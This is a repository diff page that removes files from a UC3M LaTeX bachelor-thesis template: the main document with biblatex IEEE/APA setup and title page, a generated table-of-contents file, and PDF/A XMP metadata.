% Tienes más información sobre cómo generar bibliografía en http://tex.stackexchange.com/questions/154751/biblatex-with-biber-configuring-my-editor-to-avoid-undefined-citations , https://es.sharelatex.com/learn/Bibliography_management_in_LaTeX y en http://www.ctan.org/tex-archive/macros/latex/exptl/biblatex-contrib
|
||||
% También te recomendamos consultar la guía temática de la Biblioteca sobre citas bibliográficas: http://uc3m.libguides.com/guias_tematicas/citas_bibliograficas/inicio
|
||||
|
||||
% CONFIGURACIÓN PARA LA BIBLIOGRAFÍA IEEE
|
||||
\usepackage[backend=biber, style=ieee, isbn=false,sortcites, maxbibnames=5, minbibnames=1]{biblatex} % Configuración para el estilo de citas de IEEE, recomendado para el área de ingeniería. "maxbibnames" indica que a partir de 5 autores trunque la lista el primero (minbibnames) y añada "et al." tal y como se utiliza en el estilo IEEE.
|
||||
|
||||
%CONFIGURACIÓN PARA LA BIBLIOGRAFÍA APA
|
||||
%\usepackage[style=apa, backend=biber, natbib=true, hyperref=true, uniquelist=false, sortcites]{biblatex}
|
||||
%\DeclareLanguageMapping{spanish}{spanish-apa}
|
||||
|
||||
\addbibresource{bibliografia/bibliografia.bib} % llama al archivo bibliografia.bib que utilizamos de ejemplo
|
||||
|
||||
|
||||
%-------------
|
||||
% DOCUMENTO
|
||||
%-------------
|
||||
|
||||
\begin{document}
|
||||
\pagenumbering{roman} % Se utilizan cifras romanas en la numeración de las páginas previas al cuerpo del trabajo
|
||||
|
||||
%----------
|
||||
% PORTADA
|
||||
%----------
|
||||
\begin{titlepage}
|
||||
\begin{sffamily}
|
||||
\color{azulUC3M}
|
||||
\begin{center}
|
||||
\begin{figure}[H] %incluimos el logotipo de la Universidad
|
||||
\makebox[\textwidth][c]{\includegraphics[width=16cm]{Portada_Logo.png}}
|
||||
\end{figure}
|
||||
\vspace{2.5cm}
|
||||
\begin{Large}
|
||||
University Degree in...\\
|
||||
Academic Year (e.g. 2016-2017)\\
|
||||
\vspace{2cm}
|
||||
\textsl{Bachelor Thesis}
|
||||
\bigskip
|
||||
|
||||
\end{Large}
|
||||
{\Huge ``Thesis title''}\\
|
||||
\vspace*{0.5cm}
|
||||
\rule{10.5cm}{0.1mm}\\
|
||||
\vspace*{0.9cm}
|
||||
{\LARGE Author's complete name}\\
|
||||
\vspace*{1cm}
|
||||
\begin{Large}
|
||||
1st Tutor complete name\\
|
||||
2nd Tutor complete name\\
|
||||
Place and date\\
|
||||
\end{Large}
|
||||
\end{center}
|
||||
\vfill
|
||||
\color{black}
|
||||
% si nuestro trabajo se va a publicar con una licencia Creative Commons, incluir estas líneas. Es la opción recomendada.
|
||||
\includegraphics[width=4.2cm]{imagenes/creativecommons.png}\\ %incluimos el logotipo de creativecommons
|
||||
\emph{[Include this code in case you want your Bachelor Thesis published in Open Access University Repository]}\\ % BORRAR ESTA LÍNEA
|
||||
This work is licensed under Creative Commons \textbf{Attribution – Non Commercial – Non Derivatives}
|
||||
\end{sffamily}
|
||||
\end{titlepage}
|
||||
|
||||
\newpage %página en blanco o de cortesía
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
%----------
|
||||
% RESUMEN Y PALABRAS CLAVE
|
||||
%----------
|
||||
\renewcommand\abstractname{\large\uppercase{Summary}}
|
||||
\begin{abstract}
|
||||
\thispagestyle{plain}
|
||||
\setcounter{page}{3}
|
||||
|
||||
% ESCRIBIR EL RESUMEN AQUÍ
|
||||
|
||||
\textbf{Keywords:}
|
||||
% Escribir las palabras clave aquí
|
||||
|
||||
\vfill
|
||||
\end{abstract}
|
||||
\newpage % página en blanco o de cortesía
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
|
||||
%----------
|
||||
% DEDICATORIA
|
||||
%----------
|
||||
\chapter*{Dedication}
|
||||
|
||||
\setcounter{page}{5}
|
||||
|
||||
% ESCRIBIR LA DEDICATORIA AQUÍ
|
||||
|
||||
\vfill
|
||||
|
||||
\newpage % página en blanco o de cortesía
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
|
||||
%----------
|
||||
% ÍNDICES
|
||||
%----------
|
||||
|
||||
%--
|
||||
%Índice general
|
||||
%-
|
||||
\tableofcontents
|
||||
\thispagestyle{fancy}
|
||||
|
||||
\newpage % página en blanco o de cortesía
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
%--
|
||||
% Índice de figuras. Si no se incluyen, comenta las líneas siguientes
|
||||
%-
|
||||
\listoffigures
|
||||
\thispagestyle{fancy}
|
||||
|
||||
\newpage % página en blanco o de cortesía
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
%--
|
||||
% Índice de tablas. Si no se incluyen, comenta las líneas siguientes
|
||||
%-
|
||||
\listoftables
|
||||
\thispagestyle{fancy}
|
||||
|
||||
\newpage % página en blanco o de cortesía
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
|
||||
%----------
|
||||
% TRABAJO
|
||||
%----------
|
||||
\clearpage
|
||||
\pagenumbering{arabic} % numeración con múmeros arábigos para el resto de la publicación
|
||||
|
||||
\chapter{Introduction}
|
||||
|
||||
% COMENZAR A ESCRIBIR EL TRABAJO
|
||||
|
||||
|
||||
|
||||
%----------
|
||||
% BIBLIOGRAFÍA
|
||||
%----------
|
||||
|
||||
%\nocite{*} % Si quieres que aparezcan en la bibliografía todos los documentos que la componen (también los que no estén citados en el texto) descomenta está lína
|
||||
|
||||
\clearpage
|
||||
\addcontentsline{toc}{chapter}{Bibliography}
|
||||
|
||||
\printbibliography
|
||||
|
||||
|
||||
|
||||
%----------
|
||||
% ANEXOS
|
||||
%----------
|
||||
|
||||
% Si tu trabajo incluye anexos, puedes descomentar las siguientes líneas
|
||||
%\chapter* {Appendix x}
|
||||
%\pagenumbering{gobble} % Las páginas de los anexos no se numeran
|
||||
|
||||
|
||||
|
||||
\end{document}
|
||||
@@ -1,6 +0,0 @@
|
||||
\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax
|
||||
\defcounter {refsection}{0}\relax
|
||||
\select@language {english}
|
||||
\defcounter {refsection}{0}\relax
|
||||
\contentsline {chapter}{\numberline {1}Introduction}{1}{chapter.1}
|
||||
\contentsfinish
|
||||
92
xx/pdfa.xmpi
92
xx/pdfa.xmpi
@@ -1,92 +0,0 @@
|
||||
<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d' ?>
|
||||
|
||||
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c316 44.253921, Sun Oct 01 2006 17:14:39">
|
||||
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
|
||||
<rdf:Description rdf:about=""
|
||||
xmlns:pdfaExtension="http://www.aiim.org/pdfa/ns/extension/"
|
||||
xmlns:pdfaSchema="http://www.aiim.org/pdfa/ns/schema#"
|
||||
xmlns:pdfaProperty="http://www.aiim.org/pdfa/ns/property#"
|
||||
>
|
||||
<pdfaExtension:schemas>
|
||||
<rdf:Bag>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaSchema:namespaceURI>http://ns.adobe.com/pdfx/1.3/</pdfaSchema:namespaceURI>
|
||||
<pdfaSchema:prefix>pdfx</pdfaSchema:prefix>
|
||||
<pdfaSchema:schema>PDF/X Schema</pdfaSchema:schema>
|
||||
<pdfaSchema:property><rdf:Seq>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaProperty:category>external</pdfaProperty:category>
|
||||
<pdfaProperty:description>URL to an online version or preprint</pdfaProperty:description>
|
||||
<pdfaProperty:name>AuthoritativeDomain</pdfaProperty:name>
|
||||
<pdfaProperty:valueType>Text</pdfaProperty:valueType>
|
||||
</rdf:li></rdf:Seq>
|
||||
</pdfaSchema:property>
|
||||
</rdf:li>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaSchema:namespaceURI>http://www.aiim.org/pdfua/ns/id/</pdfaSchema:namespaceURI>
|
||||
<pdfaSchema:prefix>pdfuaid</pdfaSchema:prefix>
|
||||
<pdfaSchema:schema>PDF/UA ID Schema</pdfaSchema:schema>
|
||||
<pdfaSchema:property><rdf:Seq>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaProperty:category>internal</pdfaProperty:category>
|
||||
<pdfaProperty:description>Part of PDF/UA standard</pdfaProperty:description>
|
||||
<pdfaProperty:name>part</pdfaProperty:name>
|
||||
<pdfaProperty:valueType>Integer</pdfaProperty:valueType>
|
||||
</rdf:li></rdf:Seq>
|
||||
</pdfaSchema:property>
|
||||
</rdf:li>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaSchema:schema>PRISM metadata</pdfaSchema:schema>
|
||||
<pdfaSchema:namespaceURI>http://prismstandard.org/namespaces/basic/2.2/</pdfaSchema:namespaceURI>
|
||||
<pdfaSchema:prefix>prism</pdfaSchema:prefix>
|
||||
<pdfaSchema:property><rdf:Seq>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaProperty:name>aggregationType</pdfaProperty:name>
|
||||
<pdfaProperty:valueType>Text</pdfaProperty:valueType>
|
||||
<pdfaProperty:category>external</pdfaProperty:category>
|
||||
<pdfaProperty:description>The type of publication. If defined, must be one of book, catalog, feed, journal, magazine, manual, newsletter, pamphlet.</pdfaProperty:description>
|
||||
</rdf:li>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaProperty:name>url</pdfaProperty:name>
|
||||
<pdfaProperty:valueType>URL</pdfaProperty:valueType>
|
||||
<pdfaProperty:category>external</pdfaProperty:category>
|
||||
<pdfaProperty:description>URL for the article or unit of content</pdfaProperty:description>
|
||||
</rdf:li>
|
||||
</rdf:Seq></pdfaSchema:property>
|
||||
</rdf:li>
|
||||
</rdf:Bag>
|
||||
</pdfaExtension:schemas>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:pdf="http://ns.adobe.com/pdf/1.3/">
|
||||
<pdf:Producer>pdfTeX</pdf:Producer>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">
|
||||
<dc:format>application/pdf</dc:format>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:prism="http://prismstandard.org/namespaces/basic/2.2/">
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:pdfx="http://ns.adobe.com/pdfx/1.3/">
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:pdfaid="http://www.aiim.org/pdfa/ns/id/">
|
||||
<pdfaid:part>1</pdfaid:part>
|
||||
<pdfaid:conformance>B</pdfaid:conformance>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/">
|
||||
<xmp:CreatorTool>LaTeX with hyperref</xmp:CreatorTool>
|
||||
<xmp:ModifyDate>2022-04-27T21:49:30-04:00</xmp:ModifyDate>
|
||||
<xmp:CreateDate>2022-04-27T21:49:30-04:00</xmp:CreateDate>
|
||||
<xmp:MetadataDate>2022-04-27T21:49:30-04:00</xmp:MetadataDate>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:xmpRights = "http://ns.adobe.com/xap/1.0/rights/">
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
|
||||
<xmpMM:DocumentID>uuid:467B87E0-A1EA-A037-7CB7-0477245DEBC3</xmpMM:DocumentID>
|
||||
<xmpMM:InstanceID>uuid:1331C4CE-3943-8537-B85E-71BFB13A835E</xmpMM:InstanceID>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
</x:xmpmeta>
|
||||
|
||||
|
||||
|
||||
|
||||
<?xpacket end='w'?>
|
||||
Reference in New Issue
Block a user